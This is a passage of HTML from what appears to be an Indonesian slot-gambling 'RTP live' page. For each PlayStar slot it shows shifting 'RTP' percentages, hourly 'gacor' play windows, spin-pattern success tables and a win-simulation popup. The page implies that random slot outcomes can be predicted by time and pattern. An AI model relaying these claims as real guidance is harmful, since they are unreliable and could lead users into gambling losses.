            <p><span class="gacor-time" id="gacor-time-12">23:26 WIB - 00:26 WIB</span></p>
            <div class="pola-slot" id="pola-slot-12">
               <div class="pola-unavailable">Pola Tidak Tersedia!!</div>
               <div>Tidak Disarankan Bermain</div>
               <div>Game ini</div>
            </div>
         </div>
         <div id="popup-12" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(12)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-12" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-12" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(12)">Simulasikan</button>
                  <div id="simulasi-result-12" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00028.png" alt="Athena">
         <div class="game-title">Athena</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-13" style="width: 81%;"></div>
            <div class="progress-bar-text" id="rtp-text-13">81%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(13)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-13">23:26 WIB - 00:26 WIB</span></p>
            <div class="pola-slot" id="pola-slot-13">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 43</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 29</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-13" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(13)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-13" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-13" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(13)">Simulasikan</button>
                  <div id="simulasi-result-13" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00029.png" alt="Glorious Kingdom">
         <div class="game-title">Glorious Kingdom</div>
         <div class="progress-bar-container">
            <div class="progress-bar red" id="rtp-bar-14" style="width: 12%;"></div>
            <div class="progress-bar-text" id="rtp-text-14">12%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(14)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-14">23:23 WIB - 00:23 WIB</span></p>
            <div class="pola-slot" id="pola-slot-14">
               <div class="pola-unavailable">Pola Tidak Tersedia!!</div>
               <div>Tidak Disarankan Bermain</div>
               <div>Game ini</div>
            </div>
         </div>
         <div id="popup-14" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(14)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-14" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-14" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(14)">Simulasikan</button>
                  <div id="simulasi-result-14" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00033.png" alt="Fortune God">
         <div class="game-title">Fortune God</div>
         <div class="progress-bar-container">
            <div class="progress-bar red" id="rtp-bar-15" style="width: 6%;"></div>
            <div class="progress-bar-text" id="rtp-text-15">6%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(15)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-15">23:27 WIB - 00:27 WIB</span></p>
            <div class="pola-slot" id="pola-slot-15">
               <div class="pola-unavailable">Pola Tidak Tersedia!!</div>
               <div>Tidak Disarankan Bermain</div>
               <div>Game ini</div>
            </div>
         </div>
         <div id="popup-15" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(15)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-15" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-15" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(15)">Simulasikan</button>
                  <div id="simulasi-result-15" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00035.png" alt="Werewolf">
         <div class="game-title">Werewolf</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-16" style="width: 96%;"></div>
            <div class="progress-bar-text" id="rtp-text-16">96%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(16)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-16">23:22 WIB - 00:22 WIB</span></p>
            <div class="pola-slot" id="pola-slot-16">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 43</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 11</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-16" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(16)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-16" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-16" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(16)">Simulasikan</button>
                  <div id="simulasi-result-16" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00038.png" alt="Face Off">
         <div class="game-title">Face Off</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-17" style="width: 71%;"></div>
            <div class="progress-bar-text" id="rtp-text-17">71%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(17)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-17">23:24 WIB - 00:24 WIB</span></p>
            <div class="pola-slot" id="pola-slot-17">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 33</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 45</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-17" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(17)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-17" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-17" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(17)">Simulasikan</button>
                  <div id="simulasi-result-17" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00044.png" alt="Fortune Teller">
         <div class="game-title">Fortune Teller</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-18" style="width: 38%;"></div>
            <div class="progress-bar-text" id="rtp-text-18">38%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(18)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-18">23:31 WIB - 00:31 WIB</span></p>
            <div class="pola-slot" id="pola-slot-18">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 10</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-18" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(18)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-18" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-18" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(18)">Simulasikan</button>
                  <div id="simulasi-result-18" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00047.png" alt="Elephant">
         <div class="game-title">Elephant</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-19" style="width: 88%;"></div>
            <div class="progress-bar-text" id="rtp-text-19">88%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(19)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-19">23:25 WIB - 00:25 WIB</span></p>
            <div class="pola-slot" id="pola-slot-19">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 41</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 37</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-19" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(19)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-19" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-19" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(19)">Simulasikan</button>
                  <div id="simulasi-result-19" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00051.png" alt="Halloween">
         <div class="game-title">Halloween</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-20" style="width: 48%;"></div>
            <div class="progress-bar-text" id="rtp-text-20">48%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(20)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-20">23:28 WIB - 00:28 WIB</span></p>
            <div class="pola-slot" id="pola-slot-20">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 8</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-20" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(20)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-20" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-20" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(20)">Simulasikan</button>
                  <div id="simulasi-result-20" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00054.png" alt="Rich &amp; Happy">
         <div class="game-title">Rich &amp; Happy</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-21" style="width: 85%;"></div>
            <div class="progress-bar-text" id="rtp-text-21">85%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(21)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-21">23:30 WIB - 00:30 WIB</span></p>
            <div class="pola-slot" id="pola-slot-21">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 44</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 35</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-21" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(21)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-21" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-21" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(21)">Simulasikan</button>
                  <div id="simulasi-result-21" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00059.png" alt="Vampire">
         <div class="game-title">Vampire</div>
         <div class="progress-bar-container">
            <div class="progress-bar red" id="rtp-bar-22" style="width: 21%;"></div>
            <div class="progress-bar-text" id="rtp-text-22">21%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(22)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-22">23:27 WIB - 00:27 WIB</span></p>
            <div class="pola-slot" id="pola-slot-22">
               <div class="pola-unavailable">Pola Tidak Tersedia!!</div>
               <div>Tidak Disarankan Bermain</div>
               <div>Game ini</div>
            </div>
         </div>
         <div id="popup-22" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(22)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-22" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-22" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(22)">Simulasikan</button>
                  <div id="simulasi-result-22" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00065.png" alt="Super Rich">
         <div class="game-title">Super Rich</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-23" style="width: 84%;"></div>
            <div class="progress-bar-text" id="rtp-text-23">84%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(23)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-23">23:28 WIB - 00:28 WIB</span></p>
            <div class="pola-slot" id="pola-slot-23">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 21</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 28</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-23" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(23)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-23" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-23" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(23)">Simulasikan</button>
                  <div id="simulasi-result-23" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00067.png" alt="Dragon Boat Festival">
         <div class="game-title">Dragon Boat Festival</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-24" style="width: 47%;"></div>
            <div class="progress-bar-text" id="rtp-text-24">47%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(24)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-24">23:31 WIB - 00:31 WIB</span></p>
            <div class="pola-slot" id="pola-slot-24">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 9</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-24" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(24)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-24" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-24" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(24)">Simulasikan</button>
                  <div id="simulasi-result-24" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00070.png" alt="Alchemy">
         <div class="game-title">Alchemy</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-25" style="width: 28%;"></div>
            <div class="progress-bar-text" id="rtp-text-25">28%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(25)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-25">23:26 WIB - 00:26 WIB</span></p>
            <div class="pola-slot" id="pola-slot-25">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 20</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 33</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 40</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-25" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(25)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-25" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-25" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(25)">Simulasikan</button>
                  <div id="simulasi-result-25" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00073.png" alt="Moon Festival">
         <div class="game-title">Moon Festival</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-26" style="width: 88%;"></div>
            <div class="progress-bar-text" id="rtp-text-26">88%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(26)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-26">23:31 WIB - 00:31 WIB</span></p>
            <div class="pola-slot" id="pola-slot-26">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 10</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-26" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(26)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-26" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-26" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(26)">Simulasikan</button>
                  <div id="simulasi-result-26" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00079.png" alt="Money Meow">
         <div class="game-title">Money Meow</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-27" style="width: 92%;"></div>
            <div class="progress-bar-text" id="rtp-text-27">92%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(27)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-27">23:28 WIB - 00:28 WIB</span></p>
            <div class="pola-slot" id="pola-slot-27">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 23</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 30</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-27" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(27)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-27" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-27" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(27)">Simulasikan</button>
                  <div id="simulasi-result-27" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00083.png" alt="My Lord">
         <div class="game-title">My Lord</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-28" style="width: 40%;"></div>
            <div class="progress-bar-text" id="rtp-text-28">40%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(28)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-28">23:24 WIB - 00:24 WIB</span></p>
            <div class="pola-slot" id="pola-slot-28">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 41</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 43</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 41</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-28" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(28)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-28" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-28" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(28)">Simulasikan</button>
                  <div id="simulasi-result-28" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00085.png" alt="Aurora Wolf">
         <div class="game-title">Aurora Wolf</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-29" style="width: 97%;"></div>
            <div class="progress-bar-text" id="rtp-text-29">97%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(29)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-29">23:22 WIB - 00:22 WIB</span></p>
            <div class="pola-slot" id="pola-slot-29">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 18</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 48</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-29" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(29)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-29" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-29" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(29)">Simulasikan</button>
                  <div id="simulasi-result-29" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00086.png" alt="Santa Claus">
         <div class="game-title">Santa Claus</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-30" style="width: 90%;"></div>
            <div class="progress-bar-text" id="rtp-text-30">90%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(30)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-30">23:31 WIB - 00:31 WIB</span></p>
